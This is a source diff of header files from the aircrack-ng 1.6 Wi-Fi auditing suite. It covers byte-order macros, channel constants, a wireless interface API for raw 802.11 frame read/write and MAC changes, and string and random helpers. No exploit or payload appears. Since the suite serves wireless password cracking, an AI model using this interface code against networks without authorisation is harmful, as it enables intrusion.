+typedef uint32_t u_int32_t;
+typedef uint16_t u_int16_t;
+typedef uint8_t u_int8_t;
+
+#if defined(__sparc__)
+#define __be64_to_cpu(x) (x)
+#define __be32_to_cpu(x) (x)
+#define __be16_to_cpu(x) (x)
+#define __cpu_to_be64(x) (x)
+#define __cpu_to_be32(x) (x)
+#define __cpu_to_be16(x) (x)
+#define __le64_to_cpu(x) ___my_swab64(x)
+#define __le32_to_cpu(x) ___my_swab32(x)
+#define __le16_to_cpu(x) ___my_swab16(x)
+#define __cpu_to_le64(x) ___my_swab64(x)
+#define __cpu_to_le32(x) ___my_swab32(x)
+#define __cpu_to_le16(x) ___my_swab16(x)
+
+#define AIRCRACK_NG_BYTE_ORDER_DEFINED
+#define BIG_ENDIAN 1
+#define BYTE_ORDER BIG_ENDIAN
+#else
+#define AIRCRACK_NG_BYTE_ORDER 1
+#define LITTLE_ENDIAN 1
+#endif
+#endif
+
+/*
+	 * Custom stuff
+	 */
+#if defined(__MACH__) && !defined(__APPLE_CC__) && !defined(__GNU__)
+#include <libkern/OSByteOrder.h>
+#define __cpu_to_be64(x) = OSSwapHostToBigInt64(x)
+#define __cpu_to_be32(x) = OSSwapHostToBigInt32(x)
+
+#define AIRCRACK_NG_BYTE_ORDER_DEFINED
+#endif
+
+// FreeBSD
+#if defined(__FreeBSD__) || defined(__DragonFly__) || defined(__OpenBSD__) || defined(__MidnightBSD__) || defined(__NetBSD__)
+#undef ushort
+#undef uint
+#include <sys/types.h>
+#endif
+
+// XXX: Is there anything to include on OpenBSD/NetBSD/DragonFlyBSD/...?
+
+// XXX: Mac: Check
+// http://www.opensource.apple.com/source/CF/CF-476.18/CFByteOrder.h
+//           http://developer.apple.com/DOCUMENTATION/CoreFoundation/Reference/CFByteOrderUtils/Reference/reference.html
+//           Write to apple to ask what should be used.
+
+#if defined(LITTLE_ENDIAN)
+#define AIRCRACK_NG_LITTLE_ENDIAN LITTLE_ENDIAN
+#elif defined(__LITTLE_ENDIAN)
+#define AIRCRACK_NG_LITTLE_ENDIAN __LITTLE_ENDIAN
+#elif defined(_LITTLE_ENDIAN)
+#define AIRCRACK_NG_LITTLE_ENDIAN _LITTLE_ENDIAN
+#endif
+
+#if defined(BIG_ENDIAN)
+#define AIRCRACK_NG_BIG_ENDIAN BIG_ENDIAN
+#elif defined(__BIG_ENDIAN)
+#define AIRCRACK_NG_BIG_ENDIAN __BIG_ENDIAN
+#elif defined(_BIG_ENDIAN)
+#define AIRCRACK_NG_BIG_ENDIAN _BIG_ENDIAN
+#endif
+
+#if !defined(AIRCRACK_NG_LITTLE_ENDIAN) && !defined(AIRCRACK_NG_BIG_ENDIAN)
+#error Impossible to determine endianness (Little or Big endian), please contact the author.
+#endif
+
+#if defined(BYTE_ORDER)
+#if (BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN)
+#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_LITTLE_ENDIAN
+#elif (BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN)
+#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_BIG_ENDIAN
+#endif
+#elif defined(__BYTE_ORDER)
+#if (__BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN)
+#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_LITTLE_ENDIAN
+#elif (__BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN)
+#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_BIG_ENDIAN
+#endif
+#elif defined(_BYTE_ORDER)
+#if (_BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN)
+#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_LITTLE_ENDIAN
+#elif (_BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN)
+#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_BIG_ENDIAN
+#endif
+#endif
+
+#ifndef AIRCRACK_NG_BYTE_ORDER
+#error Impossible to determine endianness (Little or Big endian), please contact the author.
+#endif
+
+#if (AIRCRACK_NG_BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN)
+
+#ifndef AIRCRACK_NG_BYTE_ORDER_DEFINED
+#define __be64_to_cpu(x) ___my_swab64(x)
+#define __be32_to_cpu(x) ___my_swab32(x)
+#define __be16_to_cpu(x) ___my_swab16(x)
+#define __cpu_to_be64(x) ___my_swab64(x)
+#define __cpu_to_be32(x) ___my_swab32(x)
+#define __cpu_to_be16(x) ___my_swab16(x)
+#define __le64_to_cpu(x) (x)
+#define __le32_to_cpu(x) (x)
+#define __le16_to_cpu(x) (x)
+#define __cpu_to_le64(x) (x)
+#define __cpu_to_le32(x) (x)
+#define __cpu_to_le16(x) (x)
+#endif
+
+#ifndef htobe16
+#define htobe16 ___my_swab16
+#endif
+#ifndef htobe32
+#define htobe32 ___my_swab32
+#endif
+#ifndef htobe64
+#define htobe64 ___my_swab64
+#endif
+#ifndef betoh16
+#define betoh16 ___my_swab16
+#endif
+#ifndef betoh32
+#define betoh32 ___my_swab32
+#endif
+#ifndef betoh64
+#define betoh64 ___my_swab64
+#endif
+
+#ifndef htole16
+#define htole16(x) (x)
+#endif
+#ifndef htole32
+#define htole32(x) (x)
+#endif
+#ifndef htole64
+#define htole64(x) (x)
+#endif
+#ifndef letoh16
+#define letoh16(x) (x)
+#endif
+#ifndef letoh32
+#define letoh32(x) (x)
+#endif
+#ifndef letoh64
+#define letoh64(x) (x)
+#endif
+
+#endif
+
+#if (AIRCRACK_NG_BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN)
+
+#ifndef AIRCRACK_NG_BYTE_ORDER_DEFINED
+#define __be64_to_cpu(x) (x)
+#define __be32_to_cpu(x) (x)
+#define __be16_to_cpu(x) (x)
+#define __cpu_to_be64(x) (x)
+#define __cpu_to_be32(x) (x)
+#define __cpu_to_be16(x) (x)
+#define __le64_to_cpu(x) ___my_swab64(x)
+#define __le32_to_cpu(x) ___my_swab32(x)
+#define __le16_to_cpu(x) ___my_swab16(x)
+#define __cpu_to_le64(x) ___my_swab64(x)
+#define __cpu_to_le32(x) ___my_swab32(x)
+#define __cpu_to_le16(x) ___my_swab16(x)
+#endif
+
+#ifndef htobe16
+#define htobe16(x) (x)
+#endif
+#ifndef htobe32
+#define htobe32(x) (x)
+#endif
+#ifndef htobe64
+#define htobe64(x) (x)
+#endif
+#ifndef betoh16
+#define betoh16(x) (x)
+#endif
+#ifndef betoh32
+#define betoh32(x) (x)
+#endif
+#ifndef betoh64
+#define betoh64(x) (x)
+#endif
+
+#ifndef htole16
+#define htole16 ___my_swab16
+#endif
+#ifndef htole32
+#define htole32 ___my_swab32
+#endif
+#ifndef htole64
+#define htole64 ___my_swab64
+#endif
+#ifndef letoh16
+#define letoh16 ___my_swab16
+#endif
+#ifndef letoh32
+#define letoh32 ___my_swab32
+#endif
+#ifndef letoh64
+#define letoh64 ___my_swab64
+#endif
+
+#endif
+
+// Common defines
+#define cpu_to_le64 __cpu_to_le64
+#define le64_to_cpu __le64_to_cpu
+#define cpu_to_le32 __cpu_to_le32
+
+#ifndef le32_to_cpu
+#define le32_to_cpu __le32_to_cpu
+#endif
+
+#define cpu_to_le16 __cpu_to_le16
+
+#ifndef le16_to_cpu
+#define le16_to_cpu __le16_to_cpu
+#endif
+
+#define cpu_to_be64 __cpu_to_be64
+#define be64_to_cpu __be64_to_cpu
+#define cpu_to_be32 __cpu_to_be32
+#define be32_to_cpu __be32_to_cpu
+#define cpu_to_be16 __cpu_to_be16
+#define be16_to_cpu __be16_to_cpu
+
+#ifndef le16toh
+#define le16toh le16_to_cpu
+#endif
+#ifndef be16toh
+#define be16toh be16_to_cpu
+#endif
+#ifndef le32toh
+#define le32toh le32_to_cpu
+#endif
+#ifndef be32toh
+#define be32toh be32_to_cpu
+#endif
+
+#ifndef htons
+#define htons cpu_to_be16
+#endif
+#ifndef htonl
+#define htonl cpu_to_be32
+#endif
+#ifndef ntohs
+#define ntohs be16_to_cpu
+#endif
+#ifndef ntohl
+#define ntohl be32_to_cpu
+#endif
+
+/* Loads and stores. These avoid undefined behavior due to unaligned memory
+ * accesses, via memcpy. */
+
+inline static uint16_t load16(uint8_t * b)
+{
+	uint16_t x;
+	memcpy(&x, b, 2);
+	return x;
+}
+
+inline static uint32_t load32(uint8_t * b)
+{
+	uint32_t x;
+	memcpy(&x, b, 4);
+	return x;
+}
+
+inline static uint64_t load64(uint8_t * b)
+{
+	uint64_t x;
+	memcpy(&x, b, 8);
+	return x;
+}
+
+inline static void store16(uint8_t * b, uint16_t i) { memcpy(b, &i, 2); }
+
+inline static void store32(uint8_t * b, uint32_t i) { memcpy(b, &i, 4); }
+
+inline static void store64(uint8_t * b, uint64_t i) { memcpy(b, &i, 8); }
+
+#define load16_le(b) (__le16_to_cpu(load16(b)))
+#define store16_le(b, i) (store16(b, __cpu_to_le16(i)))
+#define load16_be(b) (__be16_to_cpu(load16(b)))
+#define store16_be(b, i) (store16(b, __cpu_to_be16(i)))
+
+#define load32_le(b) (__le32_to_cpu(load32(b)))
+#define store32_le(b, i) (store32(b, __cpu_to_le32(i)))
+#define load32_be(b) (__be32_to_cpu(load32(b)))
+#define store32_be(b, i) (store32(b, __cpu_to_be32(i)))
+
+#define load64_le(b) (__le64_to_cpu(load64(b)))
+#define store64_le(b, i) (store64(b, __cpu_to_le64(i)))
+#define load64_be(b) (__be64_to_cpu(load64(b)))
+#define store64_be(b, i) (store64(b, __cpu_to_be64(i)))
+
+#endif

aircrack-ng-1.6.tar.gz/include/aircrack-ng/osdep/channel.h Added

@@ -0,0 +1,29 @@
+/*
+ *  OS dependent APIs for Linux
+ *
+ *  Copyright (C) 2018-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ */
+
+#ifndef OSDEP_CHANNELS_H
+#define OSDEP_CHANNELS_H
+
+#define CHANNEL_NO_HT 0
+#define CHANNEL_HT20 20
+#define CHANNEL_HT40_PLUS 39
+#define CHANNEL_HT40_MINUS 41
+
+#endif // OSDEP_CHANNELS_H

aircrack-ng-1.6.tar.gz/include/aircrack-ng/osdep/common.h Added

@@ -0,0 +1,63 @@
+/*
+ * Copyright (c) 2010-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+#ifndef _OSDEP_COMMON_H_
+#define _OSDEP_COMMON_H_
+
+#if defined(_MSC_VER)
+//  Microsoft
+#define EXPORT __declspec(dllexport)
+#define IMPORT __declspec(dllimport)
+#elif defined(__GNUC__) || defined(__llvm__) || defined(__clang__)             \
+	|| defined(__INTEL_COMPILER)
+#define EXPORT __attribute__((visibility("default")))
+#define IMPORT
+#else
+//  do nothing and hope for the best?
+#define EXPORT
+#define IMPORT
+#pragma warning Unknown dynamic link import / export semantics.
+#endif
+
+IMPORT int getFrequencyFromChannel(int channel);
+IMPORT int getChannelFromFrequency(int frequency);
+
+/*
+// For later use, because aircrack-ng doesn't compile with MS compilers
+#if defined(WIN32) || defined(__WIN__)
+#define ftruncate(a, b) _chsize(a,b)
+#endif
+*/
+
+#define HIGHEST_CHANNEL 220
+#define LOWEST_CHANNEL -16
+
+#endif

aircrack-ng-1.6.tar.gz/include/aircrack-ng/osdep/network.h Added

aircrack-ng-1.6.tar.gz/include/aircrack-ng/osdep/osdep.h Added

@@ -0,0 +1,202 @@
+/*
+ * Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+ * All OS dependent crap should go here.
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#ifndef __AIRCRACK_NG_OSEDEP_H__
+#define __AIRCRACK_NG_OSEDEP_H__
+
+#include <netinet/in.h>
+#include <stdint.h>
+#include <time.h>
+
+#include <aircrack-ng/osdep/byteorder.h>
+#include <aircrack-ng/osdep/common.h>
+#include <aircrack-ng/osdep/packed.h>
+
+#if defined(__APPLE_CC__) && defined(_XCODE)
+#include <pcap/bpf.h>
+#undef LINKTYPE_RADIOTAP_HDR
+#define LINKTYPE_RADIOTAP_HDR DLT_IEEE802_11_RADIO
+#undef LINKTYPE_IEEE802_11
+#define LINKTYPE_IEEE802_11 DLT_IEEE802_11
+#undef LINKTYPE_PRISM_HEADER
+#define LINKTYPE_PRISM_HEADER DLT_PRISM_HEADER
+#undef LINKTYPE_ETHERNET
+#define LINKTYPE_ETHERNET DLT_ERF_ETH
+#undef LINKTYPE_PPI_HDR
+#define LINKTYPE_PPI_HDR DLT_PPI
+#undef TCPDUMP_MAGIC
+#define TCPDUMP_MAGIC 0xa1b2c3d4
+#endif
+
+/* For all structures, when adding new fields, always append them to the end.
+ * This way legacy binary code does not need to be recompiled.  This is
+ * particularly useful for DLLs.  -sorbo
+ */
+
+struct tx_info
+{
+	uint32_t ti_rate;
+};
+
+struct rx_info
+{
+	uint64_t ri_mactime;
+	int32_t ri_power;
+	int32_t ri_noise;
+	uint32_t ri_channel;
+	uint32_t ri_freq;
+	uint32_t ri_rate;
+	uint32_t ri_antenna;
+} __packed;
+
+/* Normal code should not access this directly.  Only osdep.
+ * This structure represents a single interface.  It should be created with
+ * wi_open and destroyed with wi_close.
+ */
+#define MAX_IFACE_NAME 64
+struct wif
+{
+	int (*wi_read)(struct wif * wi,
+				   struct timespec * ts,
+				   int * dlt,
+				   unsigned char * h80211,
+				   int len,
+				   struct rx_info * ri);
+	int (*wi_write)(struct wif * wi,
+					struct timespec * ts,
+					int dlt,
+					unsigned char * h80211,
+					int len,
+					struct tx_info * ti);
+	int (*wi_set_ht_channel)(struct wif * wi, int chan, unsigned int htval);
+	int (*wi_set_channel)(struct wif * wi, int chan);
+	int (*wi_get_channel)(struct wif * wi);
+	int (*wi_set_freq)(struct wif * wi, int freq);
+	int (*wi_get_freq)(struct wif * wi);
+	void (*wi_close)(struct wif * wi);
+	int (*wi_fd)(struct wif * wi);
+	int (*wi_get_mac)(struct wif * wi, unsigned char * mac);
+	int (*wi_set_mac)(struct wif * wi, unsigned char * mac);
+	int (*wi_set_rate)(struct wif * wi, int rate);
+	int (*wi_get_rate)(struct wif * wi);
+	int (*wi_set_mtu)(struct wif * wi, int mtu);
+	int (*wi_get_mtu)(struct wif * wi);
+	int (*wi_get_monitor)(struct wif * wi);
+
+	void * wi_priv;
+	char wi_interface[MAX_IFACE_NAME];
+};
+
+/* Routines to be used by client code */
+IMPORT struct wif * wi_open(char * iface);
+IMPORT int wi_read(struct wif * wi,
+				   struct timespec * ts,
+				   int * dlt,
+				   unsigned char * h80211,
+				   int len,
+				   struct rx_info * ri);
+IMPORT int wi_write(struct wif * wi,
+					struct timespec * ts,
+					int dlt,
+					unsigned char * h80211,
+					int len,
+					struct tx_info * ti);
+IMPORT int wi_set_channel(struct wif * wi, int chan);
+IMPORT int wi_set_ht_channel(struct wif * wi, int chan, unsigned int htval);
+IMPORT int wi_get_channel(struct wif * wi);
+IMPORT int wi_set_freq(struct wif * wi, int freq);
+IMPORT int wi_get_freq(struct wif * wi);
+IMPORT void wi_close(struct wif * wi);
+IMPORT char * wi_get_ifname(struct wif * wi);
+IMPORT int wi_get_mac(struct wif * wi, unsigned char * mac);
+IMPORT int wi_set_mac(struct wif * wi, unsigned char * mac);
+IMPORT int wi_get_rate(struct wif * wi);
+IMPORT int wi_set_rate(struct wif * wi, int rate);
+IMPORT int wi_get_monitor(struct wif * wi);
+IMPORT int wi_get_mtu(struct wif * wi);
+IMPORT int wi_set_mtu(struct wif * wi, int mtu);
+
+/* wi_open_osdep should determine the type of card and setup the wif structure
+ * appropriately.  There is one per OS.  Called by wi_open.
+ */
+extern struct wif * wi_open_osdep(char * iface);
+
+/* This will return the FD used for reading.  This is required for using select
+ * on it.
+ */
+IMPORT int wi_fd(struct wif * wi);
+
+/* Helper routines for osdep code.  */
+extern struct wif * wi_alloc(int sz);
+extern void * wi_priv(struct wif * wi);
+
+/* Client code can use this to determine the battery state.  One per OS. */
+IMPORT int get_battery_state(void);
+
+/* Client code can create a tap interface */
+/* XXX we can unify the tap & wi stuff in the future, but for now, lets keep
+ * them separate until we learn something.
+ */
+struct tif
+{
+	int (*ti_read)(struct tif * ti, void * buf, int len);
+	int (*ti_write)(struct tif * ti, void * buf, int len);
+	int (*ti_fd)(struct tif * ti);
+	char * (*ti_name)(struct tif * ti);
+	int (*ti_set_mtu)(struct tif * ti, int mtu);
+	int (*ti_get_mtu)(struct tif * ti);
+	int (*ti_set_ip)(struct tif * ti, struct in_addr * ip);
+	int (*ti_set_mac)(struct tif * ti, unsigned char * mac);
+	void (*ti_close)(struct tif * ti);
+
+	void * ti_priv;
+};
+/* one per OS */
+IMPORT struct tif * ti_open(char * iface);
+
+/* osdep routines */
+extern struct tif * ti_alloc(int sz);
+extern void * ti_priv(struct tif * ti);
+
+/* client routines */
+IMPORT char * ti_name(struct tif * ti);
+IMPORT int ti_set_mtu(struct tif * ti, int mtu);
+IMPORT int ti_get_mtu(struct tif * ti);
+IMPORT void ti_close(struct tif * ti);
+IMPORT int ti_fd(struct tif * ti);
+IMPORT int ti_read(struct tif * ti, void * buf, int len);
+IMPORT int ti_write(struct tif * ti, void * buf, int len);
+IMPORT int ti_set_mac(struct tif * ti, unsigned char * mac);
+IMPORT int ti_set_ip(struct tif * ti, struct in_addr * ip);
+
+#endif /* __AIRCRACK_NG_OSEDEP_H__ */

aircrack-ng-1.6.tar.gz/include/aircrack-ng/osdep/packed.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/ptw Added

aircrack-ng-1.6.tar.gz/include/aircrack-ng/ptw/aircrack-ptw-lib.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/support Added

aircrack-ng-1.6.tar.gz/include/aircrack-ng/support/common.h Added

@@ -0,0 +1,388 @@
+/*
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+#ifndef _COMMON_H_
+#define _COMMON_H_
+
+#include <ctype.h>
+#include <stdbool.h>
+#include <stdint.h>
+#include <stdlib.h>
+#include <time.h>
+#include <sys/time.h>
+
+#include <aircrack-ng/defs.h>
+
+#if defined(__CYGWIN32__) && !defined(__CYGWIN64__)
+int fseeko64(FILE * fp, int64_t offset, int whence);
+int64_t ftello64(FILE * fp);
+#undef fseek
+#define fseek fseeko64
+#undef ftello
+#define ftello ftello64
+#endif
+
+#if defined(__FreeBSD__) || defined(__OpenBSD__)
+#undef rand
+#define rand lrand48
+#undef srand
+#define srand srand48
+#endif
+
+#define SWAP(x, y)                                                             \
+	{                                                                          \
+		unsigned char tmp = x;                                                 \
+		x = y;                                                                 \
+		y = tmp;                                                               \
+	}
+
+#define SWAP32(x)                                                              \
+	x = ((((x) >> 24u) & 0x000000FFu) | (((x) >> 8u) & 0x0000FF00u)            \
+		 | (((x) << 8u) & 0x00FF0000u)                                         \
+		 | (((x) << 24u) & 0xFF000000u))
+
+#define PCT                                                                    \
+	{                                                                          \
+		struct tm * lt;                                                        \
+		time_t tc = time(NULL);                                                \
+		lt = localtime(&tc);                                                   \
+		printf("%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec);       \
+	}
+
+#ifndef MAX
+#define MAX(x, y) ((x) > (y) ? (x) : (y))
+#endif
+
+#ifndef MIN
+#define MIN(x, y) ((x) > (y) ? (y) : (x))
+#endif
+
+#ifndef ABS
+#define ABS(a) ((a) >= 0 ? (a) : (-(a)))
+#endif
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+static const unsigned char ZERO[33] = "\x00\x00\x00\x00\x00\x00\x00\x00"
+									  "\x00\x00\x00\x00\x00\x00\x00\x00"
+									  "\x00\x00\x00\x00\x00\x00\x00\x00"
+									  "\x00\x00\x00\x00\x00\x00\x00\x00";
+
+void calctime(time_t t, float calc);
+
+/// Retrieves the working directory.
+char * get_current_working_directory(void);
+
+int is_string_number(const char * str);
+
+int get_ram_size(void);
+
+char * getVersion(const char * progname,
+				  const unsigned int maj,
+				  const unsigned int min,
+				  const unsigned int submin,
+				  const char * rev,
+				  const unsigned int beta,
+				  const unsigned int rc);
+
+/// Returns the number of CPU/cores available and online.
+int get_nb_cpus(void);
+
+int maccmp(unsigned char * mac1, unsigned char * mac2);
+
+static inline void mac2str(char * str, uint8_t * m, size_t macsize)
+{
+	REQUIRE(str != NULL);
+	REQUIRE(m != NULL);
+
+	snprintf(str,
+			 macsize,
+			 "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
+			 m[0],
+			 m[1],
+			 m[2],
+			 m[3],
+			 m[4],
+			 m[5]);
+}
+
+#define MAC_ADDRESS_STRING_LEN 18
+
+/// Converts a mac address in a human-readable format.
+static inline char * mac2string(unsigned char * mac_address)
+{
+	REQUIRE(mac_address != NULL);
+
+	char * mac_string = (char *) malloc(MAC_ADDRESS_STRING_LEN);
+	ALLEGE(mac_string != NULL);
+
+	mac2str(mac_string, mac_address, MAC_ADDRESS_STRING_LEN);
+
+	return (mac_string);
+}
+
+static inline int str2mac(uint8_t * mac, const char * str)
+{
+	REQUIRE(mac != NULL);
+	REQUIRE(str != NULL);
+
+	unsigned int macf[6];
+
+	if (sscanf(str,
+			   "%x:%x:%x:%x:%x:%x",
+			   &macf[0],
+			   &macf[1],
+			   &macf[2],
+			   &macf[3],
+			   &macf[4],
+			   &macf[5])
+		!= 6)
+		return (-1);
+
+	for (int i = 0; i < 6; i++) *mac++ = (uint8_t) macf[i];
+
+	return (0);
+}
+
+int hexCharToInt(unsigned char c);
+
+int hexStringToArray(char * in,
+					 int in_length,
+					 unsigned char * out,
+					 int out_length);
+
+/// Return the mac address bytes (or null if it's not a mac address)
+int getmac(const char * macAddress, const int strict, unsigned char * mac);
+
+/// Read a line of characters inputted by the user
+int readLine(char line[], int maxlength);
+
+int hexToInt(char s[], int len);
+
+int string_has_suffix(const char * str, const char * suf);
+
+// Returns 1 if the current process is running in the background, 0 otherwise
+int is_background(void);
+
+static inline int time_diff(struct timeval * past, struct timeval * now)
+{
+	REQUIRE(past != NULL);
+	REQUIRE(now != NULL);
+
+	time_t p = 0, n = 0;
+
+	if (now->tv_sec > past->tv_sec)
+		n = (now->tv_sec - past->tv_sec) * 1000 * 1000;
+	else
+		p = (past->tv_sec - now->tv_sec) * 1000 * 1000;
+
+	n += now->tv_usec;
+	p += past->tv_usec;
+
+	return (int) (n - p);
+}
+
+static inline int elapsed_time_diff(struct timeval * past, struct timeval * now)
+{
+	REQUIRE(past != NULL);
+	REQUIRE(now != NULL);
+
+	time_t el = now->tv_sec - past->tv_sec;
+
+	if (el == 0)
+	{
+		el = now->tv_usec - past->tv_usec;
+	}
+	else
+	{
+		el = (el - 1) * 1000 * 1000;
+		el += 1000 * 1000 - past->tv_usec;
+		el += now->tv_usec;
+	}
+
+	if (el < 0) return (666 * 1000 * 1000);
+	return (int) (el);
+}
+
+#define msec_diff(past, now) (time_diff((past), (now)) / 1000)
+
+/// Return \a str with all leading whitespace removed.
+static inline void ltrim(char * str)
+{
+	REQUIRE(str != NULL);
+
+	size_t i;
+	size_t begin = 0u;
+	size_t end = strlen(str) - 1u;
+
+	while (isspace((int) str[begin])) begin++;
+
+	// Shift all characters back to the start of the string array.
+	for (i = begin; i <= end; i++) str[i - begin] = str[i];
+
+	// Ensure the string is null terminated.
+	str[i - begin] = '\0';
+}
+
+/// Return \a str with all trailing whitespace removed.
+static inline void rtrim(char * str)
+{
+	REQUIRE(str != NULL);
+
+	size_t end = strlen(str) - 1u;
+
+	while ((end != 0) && isspace((int) str[end])) end--;
+
+	// Ensure the string is null terminated.
+	str[end + 1] = '\0';
+}
+
+/// Return \a str with all leading and trailing whitespace removed.
+static inline void trim(char * str)
+{
+	REQUIRE(str != NULL);
+
+	ltrim(str);
+	rtrim(str);
+}
+
+/* See if a string contains a character in the first "n" bytes.
+ *
+ * Returns a pointer to the first occurrence of the character, or NULL
+ * if the character is not present in the string.
+ *
+ * Breaks the str* naming convention to avoid a name collision if we're
+ * compiling on a system that has strnchr()
+ */
+static inline char * strchr_n(char * str, int c, size_t n)
+{
+	size_t count = 0;
+
+	if (str == NULL || n == 0)
+	{
+		return (NULL);
+	}
+
+	while (*str != c && *str != '\0' && count < n)
+	{
+		str++;
+		count++;
+	}
+
+	return (*str == c) ? (str) : (NULL);
+}
+
+/* Remove a newline-terminated block of data from a buffer, replacing
+ * the newline with a '\0'.
+ *
+ * Returns the number of characters left in the buffer, or -1 if the
+ * buffer did not contain a newline.
+ */
+static inline ssize_t
+get_line_from_buffer(char * buffer, size_t size, char * line)
+{
+	char * cursor = strchr_n(buffer, 0x0A, size);
+
+	if (NULL != cursor)
+	{
+		*cursor = '\0';
+		cursor++;
+		strcpy(line, buffer);
+		memmove(buffer, cursor, size - (strlen(line) + 1));
+
+		return (size - (strlen(line) + 1));
+	}
+
+	return (-1);
+}
+
+int station_compare(const void * a, const void * b);
+
+/// Initialize standard C random number generator.
+static inline void rand_init(void)
+{
+	srand(time(NULL)); // NOLINT(cert-msc32-c,cert-msc51-cpp)
+}
+
+/// Initialize standard C random number generator with specific seed.
+static inline void rand_init_with(int seed)
+{
+	srand(seed); // NOLINT(cert-msc32-c,cert-msc51-cpp)
+}
+
+/// Acquire a random unsigned char, from the standard C random number generator.
+static inline uint8_t rand_u8(void)
+{
+	// coverity[dont_call]
+	return (uint8_t)(
+		rand()
+		& 0xFFU); // NOLINT(cert-msc30-c,cert-msc50-cpp,hicpp-signed-bitwise)
+}
+
+/// Acquire a random unsigned short, from the standard C random number generator.
+static inline uint16_t rand_u16(void)
+{
+	// coverity[dont_call]
+	return (uint16_t)(
+		rand()
+		& 0xFFFFU); // NOLINT(cert-msc30-c,cert-msc50-cpp,hicpp-signed-bitwise)
+}
+
+/// Acquire a random unsigned long, from the standard C random number generator.
+static inline uint32_t rand_u32(void)
+{
+	// coverity[dont_call]
+	return (uint32_t)(
+		rand()
+		& 0xFFFFFFFFUL); // NOLINT(cert-msc30-c,cert-msc50-cpp,hicpp-signed-bitwise)
+}
+
+/// Acquire a random float, from the standard C random number generator.
+static inline float rand_f32(void)
+{
+	// coverity[dont_call]
